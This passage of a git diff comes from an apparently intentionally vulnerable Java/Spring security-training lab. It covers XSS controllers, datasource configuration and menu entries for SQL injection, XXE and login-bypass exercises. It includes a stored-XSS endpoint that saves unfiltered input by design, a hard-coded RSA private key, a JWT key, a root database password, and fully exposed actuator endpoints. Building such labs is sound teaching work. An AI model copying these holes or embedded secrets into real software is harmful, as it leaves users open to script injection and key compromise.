payload = StringUtils.replace(payload, ">", ">"); + payload = StringUtils.replace(payload, "\"", """); + payload = StringUtils.replace(payload, "'", "'"); + payload = StringUtils.replace(payload, "/", "/"); + filterContented = payload; + log.info("[-]XSS-反射性-内容安全策略-CSP防护-原生实体转移:" + payload); break; case "spring": - filterContented = HtmlUtils.htmlEscape(content); + filterContented = HtmlUtils.htmlEscape(payload); + log.info("[-]XSS-反射性-内容安全策略-CSP防护-Spring框架:" + payload); break; default: return R.error("参数输入有误!"); @@ -183,8 +185,8 @@ public R safe3(@ApiParam(name = "type", value = "类型", required = true) @Requ @ApiOperation(value = "安全代码:HttpOnly配置", notes = "HttpOnly是HTTP响应头属性,用于增强Web应用程序安全性。它防止客户端脚本访问(只能通过http/https协议访问)带有HttpOnly标记的 cookie,从而减少跨站点脚本攻击(XSS)的风险。") @RequestMapping(value = "/safe4", method = RequestMethod.GET) @ResponseBody - @ApiImplicitParam(name = "content", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class) - public R safe4(@ApiParam(name = "content", value = "请求参数", required = true) String content, HttpServletRequest request,HttpServletResponse response) { + @ApiImplicitParam(name = "payload", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class) + public R safe4(@ApiParam(name = "payload", value = "请求参数", required = true) String payload, HttpServletRequest request, HttpServletResponse response) { Cookie cookie = request.getCookies()[0]; cookie.setHttpOnly(true); // 设置为 HttpOnly @@ -192,6 +194,6 @@ public R safe4(@ApiParam(name = "content", value = "请求参数", required = tr cookie.setPath("/"); response.addCookie(cookie); - return R.ok("已设置httponly(有效期10分钟),请打开控制台查看cookie属性:"+content); + return R.ok("已设置httponly(有效期10分钟),请打开控制台查看cookie属性:" + payload); } } diff --git a/src/main/java/top/whgojp/modules/xss/controller/StoreController.java b/src/main/java/top/whgojp/modules/xss/controller/StoreController.java index 30dd887..a4ecf20 100644 --- a/src/main/java/top/whgojp/modules/xss/controller/StoreController.java +++ b/src/main/java/top/whgojp/modules/xss/controller/StoreController.java @@ -45,14 +45,14 @@ public String xssStore() { return "vul/xss/store"; } - @ApiOperation(value = "漏洞环境:原生无过滤", notes = "原生漏洞环境,未加任何过滤,将用户输入存储到数据库中") - @RequestMapping("/vul") + @ApiOperation(value = "漏洞场景:原生无过滤", notes = "原生漏洞场景,未加任何过滤,将用户输入存储到数据库中") + @PostMapping("/vul") @ResponseBody - @ApiImplicitParam(name = "content", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class) - public R vul(@ApiParam(name = "content", value = "请求参数", required = true) @RequestParam String content,HttpServletRequest request) { - log.info("存储型XSS:" + content); + @ApiImplicitParam(name = "payload", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class) + public R vul(@ApiParam(name = "payload", value = "请求参数", required = true) @RequestParam String payload,HttpServletRequest request) { + log.info("[+]XSS-存储性-原生无过滤:" + payload); String ua = request.getHeader("User-Agent"); - final int code = xssService.insertOne(content,ua); + final int code = xssService.insertOne(payload,ua); if (code == 1) { log.info("插入数据成功!"); return R.ok("插入数据成功!"); diff --git a/src/main/java/top/whgojp/modules/xss/controller/base/XssBaseController.java b/src/main/java/top/whgojp/modules/xss/controller/base/XssBaseController.java new file mode 100644 index 0000000..4ad2018 --- /dev/null +++ b/src/main/java/top/whgojp/modules/xss/controller/base/XssBaseController.java @@ -0,0 +1,41 @@ +package top.whgojp.modules.xss.controller.base; + +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.thymeleaf.util.StringUtils; +import top.whgojp.common.utils.CheckUserInput; +import top.whgojp.common.utils.R; + +import javax.servlet.http.HttpServletRequest; + +@Slf4j +public abstract class XssBaseController { + @Autowired + protected CheckUserInput checkUserInput; + + protected R handleXssPayload(String payload, String type, boolean enableFilter) { + if (StringUtils.isEmpty(payload)) { + return R.error("参数不能为空"); + } + + log.info("[+]XSS-{}-收到payload:{}", type, payload); + + if (enableFilter) { + String filteredPayload = checkUserInput.filter(payload); + log.info("[+]XSS-{}-过滤后:{}", type, filteredPayload); + return R.ok(filteredPayload); + } + + return R.ok(payload); + } + + protected String getUserAgent(HttpServletRequest request) { + String ua = request.getHeader("User-Agent"); + return StringUtils.isEmpty(ua) ? "unknown" : ua; + } + + protected boolean isValidView(String view) { + return !StringUtils.isEmpty(view) && + (view.equals("vul") || view.equals("safe")); + } +} diff --git a/src/main/java/top/whgojp/modules/xss/service/impl/XssServiceImpl.java b/src/main/java/top/whgojp/modules/xss/service/impl/XssServiceImpl.java index 034a024..164e309 100644 --- a/src/main/java/top/whgojp/modules/xss/service/impl/XssServiceImpl.java +++ b/src/main/java/top/whgojp/modules/xss/service/impl/XssServiceImpl.java @@ -8,7 +8,6 @@ import top.whgojp.modules.xss.service.XssService; import top.whgojp.modules.xss.mapper.XssMapper; import org.springframework.stereotype.Service; - import java.util.List; /** @@ -18,30 +17,42 @@ */ @Slf4j @Service -public class XssServiceImpl extends ServiceImpl - implements XssService{ +public class XssServiceImpl extends ServiceImpl implements XssService { @Autowired private XssMapper xssMapper; @Override public int insertOne(String content, String ua) { - final int code = xssMapper.insertAll(content,ua,DateUtil.now()); - return code; + try { + log.info("插入XSS记录 - content: {}, ua: {}", content, ua); + final int code = xssMapper.insertAll(content,ua,DateUtil.now()); + return code; + } catch (Exception e) { + log.error("插入XSS记录失败", e); + return 0; + } } @Override public List selectAll() { - List xssList = xssMapper.selectAll(); - return xssList; + try { + List xssList = xssMapper.selectAll(); + return xssList; + } catch (Exception e) { + log.error("查询XSS记录失败", e); + return null; + } } @Override public int deleteById(int id) { - int i = xssMapper.deleteById(id); - return i; + try { + log.info("删除XSS记录 - id: {}", id); + int i = xssMapper.deleteById(id); + return i; + } catch (Exception e) { + log.error("删除XSS记录失败 - id: {}", id, e); + return 0; + } } } - - - - diff --git a/src/main/java/top/whgojp/security/SecurityConfigurer.java b/src/main/java/top/whgojp/security/SecurityConfigurer.java index 6f09187..41dff18 100755 --- a/src/main/java/top/whgojp/security/SecurityConfigurer.java +++ b/src/main/java/top/whgojp/security/SecurityConfigurer.java @@ -3,6 +3,7 @@ import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; +import org.springframework.http.HttpStatus; import org.springframework.security.authentication.AuthenticationManager; import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder; import org.springframework.security.config.annotation.web.builders.HttpSecurity; @@ -12,6 +13,7 @@ import org.springframework.security.crypto.password.PasswordEncoder; import org.springframework.security.web.authentication.AuthenticationFailureHandler; import org.springframework.security.web.authentication.AuthenticationSuccessHandler; +import org.springframework.security.web.authentication.HttpStatusEntryPoint; import org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter; import org.springframework.security.web.authentication.logout.LogoutSuccessHandler; import org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices; @@ -105,7 +107,7 @@ protected void configure(HttpSecurity http) throws Exception { // 添加session管理器 session失效后跳到登录页 http.sessionManagement() .invalidSessionUrl(SysConstant.LOGIN_URL) - .maximumSessions(1) + .maximumSessions(10) .expiredSessionStrategy(sessionInformationExpiredStrategy); http.formLogin() @@ -114,6 +116,9 @@ protected void configure(HttpSecurity http) throws Exception { .successHandler(authenticationSuccessHandler()) .failureHandler(customSimpleUrlAuthenticationFailureHandler()); + // TODO: 2025/1/12 解决登录就报错400状态码问题 GPT害死人啊 注释后就没问题了 + // 设置自定义的未认证用户访问受保护资源时的响应行为,并在用户未通过认证时返回 HTTP 状态码 400 BAD_REQUEST +// http.exceptionHandling().authenticationEntryPoint(new HttpStatusEntryPoint(HttpStatus.BAD_REQUEST)); http.logout() .logoutSuccessHandler(customLogoutSuccessHandler()) diff --git a/src/main/resources/application-dev.yml b/src/main/resources/application-dev.yml index 999df61..a0c1ca4 100755 --- a/src/main/resources/application-dev.yml +++ b/src/main/resources/application-dev.yml @@ -1,43 +1,73 @@ spring: datasource: - type: com.zaxxer.hikari.HikariDataSource - driver-class-name: com.mysql.cj.jdbc.Driver - username: root - password: QWE123qwe - url: jdbc:mysql://localhost:13306/JavaSecLab?characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=false&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=GMT%2B8&nullCatalogMeansCurrent=true&allowPublicKeyRetrieval=true&allowMultiQueries=true - druid: - initial-size: 5 - min-idle: 5 - max-active: 20 - max-wait: 60000 - time-between-eviction-runs-millis: 60000 - min-evictable-idle-time-millis: 300000 - validation-query: SELECT 1 FROM DUAL - test-while-idle: true - test-on-borrow: false - test-on-return: false - pool-prepared-statements: true - max-pool-prepared-statement-per-connection-size: 20 - filters: stat,log4j # wall 这里关闭sql防火墙 - connection-properties: druid.stat.mergeSql=true;druid.stat.slowSqlMillis=5000 - remove-abandoned: true - remove-abandoned-timeout: 1800 - log-abandoned: true - web-stat-filter: - enabled: true - stat-view-servlet: - enabled: true - url-pattern: /druid/* - # login-username: admin - # login-password: admin - reset-enable: false - # 防火墙配置 -# wall: -# config: -# multi-statement-allow: false + primary: + type: com.alibaba.druid.pool.DruidDataSource + driver-class-name: com.mysql.cj.jdbc.Driver + url: jdbc:mysql://localhost:13306/JavaSecLab?characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=false&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=GMT%2B8&nullCatalogMeansCurrent=true&allowPublicKeyRetrieval=true&allowMultiQueries=true + username: root + password: QWE123qwe + druid: + initial-size: 5 + min-idle: 5 + max-active: 20 + max-wait: 30000 + validation-query: SELECT 1 FROM DUAL + test-while-idle: true + time-between-eviction-runs-millis: 60000 + min-evictable-idle-time-millis: 300000 + pool-prepared-statements: true + max-pool-prepared-statement-per-connection-size: 20 + log-abandoned: true + remove-abandoned: true + secondary: + type: com.alibaba.druid.pool.DruidDataSource + driver-class-name: com.mysql.cj.jdbc.Driver + url: jdbc:mysql://localhost:13306/JavaSecLab?characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=false&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=GMT%2B8&nullCatalogMeansCurrent=true&allowPublicKeyRetrieval=true&allowMultiQueries=true + username: root + password: QWE123qwe + druid: + initial-size: 5 + min-idle: 5 + max-active: 20 + max-wait: 30000 + validation-query: SELECT 1 FROM DUAL + test-while-idle: true + time-between-eviction-runs-millis: 60000 + min-evictable-idle-time-millis: 300000 + pool-prepared-statements: true + max-pool-prepared-statement-per-connection-size: 20 + log-abandoned: true + remove-abandoned: true -# Hibernate 配置:将当前上下文策略设置为 Spring -# jpa: -# properties: -# hibernate: -# current_session_context_class: thread \ No newline at end of file + jpa: + database-platform: org.hibernate.dialect.MySQLDialect + show-sql: true + hibernate: + ddl-auto: update + properties: + hibernate: + format_sql: true + session_factory_name: sessionFactory + session_factory_name_is_jndi: false + current_session_context_class: thread + transaction: + auto_close_session: true + connection: + provider_disables_autocommit: true + generate_statistics: true + jdbc: + time_zone: UTC + session: + events: + log: + LOG_QUERIES_SLOWER_THAN_MS: 0 + flush_mode: AUTO + default_schema: JavaSecLab + default_catalog: JavaSecLab + +logging: + level: + root: INFO # 默认日志级别 + com.alibaba.druid.pool: DEBUG # 启用 Druid 的 DEBUG 日志(排查数据库连接池问题时启用) + org.hibernate.SQL: DEBUG # 启用 Hibernate SQL 日志 + org.hibernate.type.descriptor.sql.BasicBinder: TRACE # 启用 Hibernate 参数绑定日志 \ No newline at end of file diff --git a/src/main/resources/application-docker.yml b/src/main/resources/application-docker.yml index c0151f3..f7b4556 100755 --- a/src/main/resources/application-docker.yml +++ b/src/main/resources/application-docker.yml @@ -1,45 +1,73 @@ spring: datasource: - type: com.zaxxer.hikari.HikariDataSource - driver-class-name: com.mysql.cj.jdbc.Driver - username: root - password: QWE123qwe - url: jdbc:mysql://Container-MYSQL8:3306/JavaSecLab?characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=false&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=GMT%2B8&nullCatalogMeansCurrent=true&allowPublicKeyRetrieval=true&allowMultiQueries=true -# url: jdbc:mysql://47.94.130.42:3306/JavaSecLab?characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=false&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=GMT%2B8&nullCatalogMeansCurrent=true&allowPublicKeyRetrieval=true&allowMultiQueries=true - druid: - initial-size: 5 - min-idle: 5 - max-active: 20 - max-wait: 60000 - time-between-eviction-runs-millis: 60000 - min-evictable-idle-time-millis: 300000 - validation-query: SELECT 1 FROM DUAL - test-while-idle: true - test-on-borrow: false - test-on-return: false - pool-prepared-statements: true - max-pool-prepared-statement-per-connection-size: 20 - filters: stat,log4j # wall 这里关闭sql防火墙 - connection-properties: druid.stat.mergeSql=true;druid.stat.slowSqlMillis=5000 - remove-abandoned: true - remove-abandoned-timeout: 1800 - log-abandoned: true - web-stat-filter: - enabled: true - stat-view-servlet: - enabled: true - url-pattern: /druid/* - # login-username: admin - # login-password: admin - reset-enable: false - # 防火墙配置 - # wall: - # config: - # multi-statement-allow: false + primary: + type: com.alibaba.druid.pool.DruidDataSource + driver-class-name: com.mysql.cj.jdbc.Driver + url: jdbc:mysql://mysql:3306/JavaSecLab?characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=false&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=GMT%2B8&nullCatalogMeansCurrent=true&allowPublicKeyRetrieval=true&allowMultiQueries=true + username: root + password: QWE123qwe + druid: + initial-size: 5 + min-idle: 5 + max-active: 20 + max-wait: 30000 + validation-query: SELECT 1 FROM DUAL + test-while-idle: true + time-between-eviction-runs-millis: 60000 + min-evictable-idle-time-millis: 300000 + pool-prepared-statements: true + max-pool-prepared-statement-per-connection-size: 20 + log-abandoned: true + remove-abandoned: true + secondary: + type: com.alibaba.druid.pool.DruidDataSource + driver-class-name: com.mysql.cj.jdbc.Driver + url: jdbc:mysql://mysql:3306/JavaSecLab?characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=false&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=GMT%2B8&nullCatalogMeansCurrent=true&allowPublicKeyRetrieval=true&allowMultiQueries=true + username: root + password: QWE123qwe + druid: + initial-size: 5 + min-idle: 5 + max-active: 20 + max-wait: 30000 + validation-query: SELECT 1 FROM DUAL + test-while-idle: true + time-between-eviction-runs-millis: 60000 + min-evictable-idle-time-millis: 300000 + pool-prepared-statements: true + max-pool-prepared-statement-per-connection-size: 20 + log-abandoned: true + remove-abandoned: true jpa: - hibernate: - ddl-auto: none - database: mysql database-platform: org.hibernate.dialect.MySQLDialect - show-sql: true \ No newline at end of file + show-sql: true + hibernate: + ddl-auto: update + properties: + hibernate: + format_sql: true + session_factory_name: sessionFactory + session_factory_name_is_jndi: false + current_session_context_class: thread + transaction: + auto_close_session: true + connection: + provider_disables_autocommit: true + generate_statistics: true + jdbc: + time_zone: UTC + session: + events: + log: + LOG_QUERIES_SLOWER_THAN_MS: 0 + flush_mode: AUTO + default_schema: JavaSecLab + default_catalog: JavaSecLab + +logging: + level: + root: INFO # 默认日志级别 + com.alibaba.druid.pool: DEBUG # 启用 Druid 的 DEBUG 日志(排查数据库连接池问题时启用) + org.hibernate.SQL: DEBUG # 启用 Hibernate SQL 日志 + org.hibernate.type.descriptor.sql.BasicBinder: TRACE # 启用 Hibernate 参数绑定日志 \ No newline at end of file diff --git a/src/main/resources/application.yml b/src/main/resources/application.yml index b6151f2..facdf93 100755 --- a/src/main/resources/application.yml +++ b/src/main/resources/application.yml @@ -1,13 +1,12 @@ -# Tomcat server: port: 80 -# servlet: -# context-path: /javaseclab spring: # 环境 dev|docker profiles: active: docker + main: + allow-bean-definition-overriding: true thymeleaf: mode: LEGACYHTML5 #模板类型 cache: false #缓存 @@ -16,10 +15,7 @@ spring: suffix: .html mvc: pathmatch: - matching-strategy: ant_path_matcher #解决swaggerUI不匹配接口 -# view: # 设置JSP视图的前缀和后缀 -# prefix: /WEB-INF/jsp/ -# suffix: .jsp + matching-strategy: ANT_PATH_MATCHER #解决swaggerUI不匹配接口 swagger: enable: true @@ -44,6 +40,7 @@ management: web: exposure: include: '*' + exclude: base-path: /sys/actuator logging: @@ -52,11 +49,55 @@ logging: # mybaits-plus配置 mybatis-plus: configuration: + map-underscore-to-camel-case: true log-impl: org.apache.ibatis.logging.stdout.StdOutImpl # MyBatis Mapper所对应的XML文件位置 - mapper-locations: /mapper/**/*Mapper.xml + mapper-locations: classpath*:/mapper/**/*.xml global-config: # 关闭MP3.0自带的banner banner: false + db-config: + logic-delete-field: deleted + logic-delete-value: 1 + logic-not-delete-value: 0 + type-aliases-package: top.whgojp.modules.*.entity -upload-path: ./upload \ No newline at end of file +folder: + upload: /tmp/upload + static: /tmp/static + +rsa: + private: + key: "-----BEGIN PRIVATE KEY----- +MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDtttbAHKH8paAM +bVChMxlQ900ZDIamD4k00Y0aSzIF03dXFkO3+1oFKYj3DDwa68G0XGOJOoRkpfYK +LZdD45/2D32vcCb2tLzh9jFM79KG4+r+eflkQAMmCBAq5HZZG/Q9EsEfYgJ+YEvc +57yKPH5NQnvsyl6909nvNzB07sbPJ6J5bsXkyUS4Smo1qPCQ6KhBmh2WREGFa1e0 +kb8w9RpySlOz81qn9gJoJZCn+DM+cK7tg24k0ZKMM1Awekr+1P5TA9Q9VGSYHBJd +LMPVNKnSxrNLV0nlmBGX0uBkClxJCkycSyjubB4mlGULUuYIRRr+Cndj3jyJpuHm +GKKD+4ujAgMBAAECggEASFW/YmU0G6OwoKdxBiR8+yjNsqYfoQ+QMlzjwZEJL0Gq +insRbz5Spch+T6LO9WgxIPeOKFeAqvnfdThrU7LD3cXX+pc3nBHieiYG2YEOwJJB +U199draN3rhMZyjvJG1/tEftMWYLGTanTxjLRAtlaZAmEqeADeaV5heWrLZuE+HH +CaKbo7isy39vyqfGRa4ROe66N1pug8EHH7fPDqM4k8zMsLau80o6dc6HEKI0RB/H +HXbdaomXhuMuEkuifrwnyLPyVrw4LPkPlLi4BIWJBYVYXjosV0kTCg5HSWbITQ0J +jB48C3rM2SQuBrCiYu5tpluOx6Tsy5KrvKC04kRvGQKBgQD4PpQA49nweGQViMo8 +rRSTPvh6R3S9xglvrOWrDpMZAOKTKsFx1GgoJOYIbCWYo+L42hyVWL/pxWbq1lvf +6UqPCoUqjP5U9TK5A2J8zJAo8erw3h5F/Bpz+DASluy0+3KhRJ5qrRAomhcZOtX+ +5gl19r2hY2KjdSSEPA2Qr0JEWQKBgQD1JAqg4FnMVi5/Apz6idgC6QW5scMSKgzY +G+q2ehgGFvVA4Q8MezIFRBA/wsev+rh+WqWWuhJQKeWM49flIFQIGhlnoLTc3s/Z +CtBLf3d73WTpEJdQdyqR0YDVQ3pGj1UTm7aS/Fs+FaAw7d6Y32gL5LVb0vQ/FKGy +YKfGqi9AWwKBgHJUJ8fNKGdmmvmL+VA+ilZSTw/J7wsjtN7Y6yF/4eFHFhKfQ15Q +a/PpIoRIgnwtJnBjy3xA1oosnvyS4tdZ0zvTpYb2ToAEOWsaEvbVI6On3wM12Q10 +UR6N9F3rYnLrx1xchPUuZV29sdutzDbL7RmGHMnCQwBzB/Fa0wiKnuNpAoGBAN8s +QMDVfusYSpw2tNMiSxXbLusveng+8BKO18/ot5ZTsFOwkRK71X4VyPVDTqhXiT7/ +J2FhZOq2OdVaWGKwW9BEcnx1QjMSZgciYR9anFyX4haMlDUdSBQYt0FwfRFfzARd +7olCVY7gAUaKR+zE9uRdAv7lvpbvIYZTmGq05O+hAoGAQdrN2pk4P7l/hax5F7yo +hGUahXhPvN1OkI+772dFhjpQYxf02oKrdW/pNrTAoYyE9tCUUeZngUZ6SkN+TlJa +ouK1o4xnmMD2YhHhzmxyn8wlLB8KopMzCQ8WaooivlJbyXQVp6bq9UFaeQW0NtIB +tzMFGyiO+DvR4pO52uQLEBU= +-----END PRIVATE KEY-----" + +jwt: + key: f3a4c6d5b9bfeff28b1f529b0840134bcd4183474e2d4a97c05615a134e4f4da + +#debug: true \ No newline at end of file diff --git a/src/main/resources/banner.txt b/src/main/resources/banner.txt index cf6c02b..79d4bf5 100755 --- a/src/main/resources/banner.txt +++ b/src/main/resources/banner.txt @@ -1,5 +1,8 @@ ==================================================================================================================== - - Powered By whgojp + __ _____ __ __ + / /___ __ ______ _/ ___/___ _____/ / ____ _/ /_ + __ / / __ `/ | / / __ `/\__ \/ _ \/ ___/ / / __ `/ __ \ + / /_/ / /_/ /| |/ / /_/ /___/ / __/ /__/ /___/ /_/ / /_/ / + \____/\__,_/ |___/\__,_//____/\___/\___/_____/\__,_/_.___/ ==================================================================================================================== \ No newline at end of file diff --git a/src/main/resources/mapper/LogMapper.xml b/src/main/resources/mapper/LogMapper.xml deleted file mode 100644 index 165a1b1..0000000 --- a/src/main/resources/mapper/LogMapper.xml +++ /dev/null @@ -1,20 +0,0 @@ - - - - - - - - - - - - - - - logId,username,optionName, - optionTerminal,optionIp,optionTime - - diff --git a/src/main/resources/static/api/clear.json b/src/main/resources/static/api/clear.json old mode 100644 new mode 100755 diff --git a/src/main/resources/static/api/init.json b/src/main/resources/static/api/init.json old mode 100644 new mode 100755 index cc214e8..ff32378 --- a/src/main/resources/static/api/init.json +++ b/src/main/resources/static/api/init.json @@ -28,13 +28,13 @@ "target": "_self", "child": [ { - "title": "漏洞环境", + "title": "漏洞场景", "href": "xss/reflect/vul", "icon": "iconfont icon-bug", "target": "_self" }, { - "title": "安全环境", + "title": "安全场景", "href": "xss/reflect/safe", "icon": "iconfont icon-anquan", "target": "_self" @@ -74,13 +74,13 @@ "target": "_self", "child": [ { - "title": "漏洞环境", + "title": "漏洞场景", "href": "sqli/jdbc/jdbcVul", "icon": "iconfont icon-bug", "target": "_self" }, { - "title": "安全代码", + "title": "安全场景", "href": "sqli/jdbc/jdbcSafe", "icon": "iconfont icon-anquan", "target": "_self" @@ -101,13 +101,13 @@ }, { "title": "Hibernate", - "href": "", + "href": "sqli/hibernate", "icon": "iconfont icon-Hivebiao", "target": "_self" }, { "title": "JPA", - "href": "", + "href": "sqli/jpa", "icon": "iconfont icon-spring", "target": "_self" } @@ -158,13 +158,13 @@ "target": "_self", "child": [ { - "title": "漏洞环境", + "title": "漏洞场景", "href": "xxe/vul", "icon": "iconfont icon-bug", "target": "_self" }, { - "title": "安全环境", + "title": "安全场景", "href": "xxe/safe", "icon": "iconfont icon-anquan", "target": "_self" @@ -245,9 +245,34 @@ }, { "title": "支付漏洞", - "href": "", + "href": "logic/pay", "icon": "iconfont icon-zhifu", "target": "_self" + }, { + "title": "并发安全", + "href": "", + "icon": "iconfont icon-gaobingfa", + "target": "_self" + }, + { + "title": "验证码安全", + "href": "", + "icon": "iconfont icon-yanzhengma1", + "target": "_self", + "child": [ + { + "title": "图形验证码", + "href": "logic/captcha/graphic", + "icon": "iconfont icon-yanzhengma", + "target": "_self" + }, + { + "title": "短信验证码", + "href": "logic/captcha/sms", + "icon": "iconfont icon-duanxin", + "target": "_self" + } + ] } ] }, @@ -264,13 +289,13 @@ "target": "_self", "child": [ { - "title": "漏洞环境", + "title": "漏洞场景", "href": "other/URLRedirect/vul", "icon": "iconfont icon-bug", "target": "_self" }, { - "title": "安全环境", + "title": "安全场景", "href": "other/URLRedirect/safe", "icon": "iconfont icon-anquan", "target": "_self" @@ -328,7 +353,40 @@ "target": "_self" } ] + }, + { + "title": "登录对抗", + "href": "", + "icon": "iconfont icon-denglukuang", + "target": "_self", + "child": [ + { + "title": "账号安全", + "href": "/loginconfront/account", + "icon": "iconfont icon-zhanghao", + "target": "_self" + }, + { + "title": "登录绕过", + "href": "/loginconfront/bypass", + "icon": "iconfont icon-mimazhaohui", + "target": "_self" + }, + { + "title": "JS逆向", + "href": "/loginconfront/reverse", + "icon": "iconfont icon-JS", + "target": "_self" + }, + { + "title": "凭证安全", + "href": "/loginconfront/credential", + "icon": "iconfont icon-quanxianweizao", + "target": "_self" + } + ] } + ] }, { @@ -419,6 +477,7 @@ } ] } + ] } ] diff --git a/src/main/resources/static/api/menus.json b/src/main/resources/static/api/menus.json deleted file mode 100644 index e14d00e..0000000 --- a/src/main/resources/static/api/menus.json +++ /dev/null @@ -1,254 +0,0 @@ -{ - "code": 0, - "msg": "", - "count": 19, - "data": [ - { - "authorityId": 1, - "authorityName": "系统管理", - "orderNumber": 1, - "menuUrl": null, - "menuIcon": "layui-icon-set", - "createTime": "2018/06/29 11:05:41", - "authority": null, - "checked": 0, - "updateTime": "2018/07/13 09:13:42", - "isMenu": 0, - "parentId": -1 - }, - { - "authorityId": 2, - "authorityName": "用户管理", - "orderNumber": 2, - "menuUrl": "system/user", - "menuIcon": null, - "createTime": "2018/06/29 11:05:41", - "authority": null, - "checked": 0, - "updateTime": "2018/07/13 09:13:42", - "isMenu": 0, - "parentId": 1 - }, - { - "authorityId": 3, - "authorityName": "查询用户", - "orderNumber": 3, - "menuUrl": "", - "menuIcon": "", - "createTime": "2018/07/21 13:54:16", - "authority": "user:view", - "checked": 0, - "updateTime": "2018/07/21 13:54:16", - "isMenu": 1, - "parentId": 2 - }, - { - "authorityId": 4, - "authorityName": "添加用户", - "orderNumber": 4, - "menuUrl": null, - "menuIcon": null, - "createTime": "2018/06/29 11:05:41", - "authority": "user:add", - "checked": 0, - "updateTime": "2018/07/13 09:13:42", - "isMenu": 1, - "parentId": 2 - }, - { - "authorityId": 5, - "authorityName": "修改用户", - "orderNumber": 5, - "menuUrl": null, - "menuIcon": null, - "createTime": "2018/06/29 11:05:41", - "authority": "user:edit", - "checked": 0, - "updateTime": "2018/07/13 09:13:42", - "isMenu": 1, - "parentId": 2 - }, - { - "authorityId": 6, - "authorityName": "删除用户", - "orderNumber": 6, - "menuUrl": null, - "menuIcon": null, - "createTime": "2018/06/29 11:05:41", - "authority": "user:delete", - "checked": 0, - "updateTime": "2018/07/13 09:13:42", - "isMenu": 1, - "parentId": 2 - }, - { - "authorityId": 7, - "authorityName": "角色管理", - "orderNumber": 7, - "menuUrl": "system/role", - "menuIcon": null, - "createTime": "2018/06/29 11:05:41", - "authority": null, - "checked": 0, - "updateTime": "2018/07/13 09:13:42", - "isMenu": 0, - "parentId": 1 - }, - { - "authorityId": 8, - "authorityName": "查询角色", - "orderNumber": 8, - "menuUrl": "", - "menuIcon": "", - "createTime": "2018/07/21 13:54:59", - "authority": "role:view", - "checked": 0, - "updateTime": "2018/07/21 13:54:58", - "isMenu": 1, - "parentId": 7 - }, - { - "authorityId": 9, - "authorityName": "添加角色", - "orderNumber": 9, - "menuUrl": "", - "menuIcon": "", - "createTime": "2018/06/29 11:05:41", - "authority": "role:add", - "checked": 0, - "updateTime": "2018/07/13 09:13:42", - "isMenu": 1, - "parentId": 7 - }, - { - "authorityId": 10, - "authorityName": "修改角色", - "orderNumber": 10, - "menuUrl": "", - "menuIcon": "", - "createTime": "2018/06/29 11:05:41", - "authority": "role:edit", - "checked": 0, - "updateTime": "2018/07/13 09:13:42", - "isMenu": 1, - "parentId": 7 - }, - { - "authorityId": 11, - "authorityName": "删除角色", - "orderNumber": 11, - "menuUrl": "", - "menuIcon": "", - "createTime": "2018/06/29 11:05:41", - "authority": "role:delete", - "checked": 0, - "updateTime": "2018/07/13 09:13:42", - "isMenu": 1, - "parentId": 7 - }, - { - "authorityId": 12, - "authorityName": "角色权限管理", - "orderNumber": 12, - "menuUrl": "", - "menuIcon": "", - "createTime": "2018/06/29 11:05:41", - "authority": "role:auth", - "checked": 0, - "updateTime": "2018/07/13 15:27:18", - "isMenu": 1, - "parentId": 7 - }, - { - "authorityId": 13, - "authorityName": "权限管理", - "orderNumber": 13, - "menuUrl": "system/authorities", - "menuIcon": null, - "createTime": "2018/06/29 11:05:41", - "authority": null, - "checked": 0, - "updateTime": "2018/07/13 15:45:13", - "isMenu": 0, - "parentId": 1 - }, - { - "authorityId": 14, - "authorityName": "查询权限", - "orderNumber": 14, - "menuUrl": "", - "menuIcon": "", - "createTime": "2018/07/21 13:55:57", - "authority": "authorities:view", - "checked": 0, - "updateTime": "2018/07/21 13:55:56", - "isMenu": 1, - "parentId": 13 - }, - { - "authorityId": 15, - "authorityName": "添加权限", - "orderNumber": 15, - "menuUrl": "", - "menuIcon": "", - "createTime": "2018/06/29 11:05:41", - "authority": "authorities:add", - "checked": 0, - "updateTime": "2018/06/29 11:05:41", - "isMenu": 1, - "parentId": 13 - }, - { - "authorityId": 16, - "authorityName": "修改权限", - "orderNumber": 16, - "menuUrl": "", - "menuIcon": "", - "createTime": "2018/07/13 09:13:42", - "authority": "authorities:edit", - "checked": 0, - "updateTime": "2018/07/13 09:13:42", - "isMenu": 1, - "parentId": 13 - }, - { - "authorityId": 17, - "authorityName": "删除权限", - "orderNumber": 17, - "menuUrl": "", - "menuIcon": "", - "createTime": "2018/06/29 11:05:41", - "authority": "authorities:delete", - "checked": 0, - "updateTime": "2018/06/29 11:05:41", - "isMenu": 1, - "parentId": 13 - }, - { - "authorityId": 18, - "authorityName": "登录日志", - "orderNumber": 18, - "menuUrl": "system/loginRecord", - "menuIcon": null, - "createTime": "2018/06/29 11:05:41", - "authority": null, - "checked": 0, - "updateTime": "2018/06/29 11:05:41", - "isMenu": 0, - "parentId": 1 - }, - { - "authorityId": 19, - "authorityName": "查询登录日志", - "orderNumber": 19, - "menuUrl": "", - "menuIcon": "", - "createTime": "2018/07/21 13:56:43", - "authority": "loginRecord:view", - "checked": 0, - "updateTime": 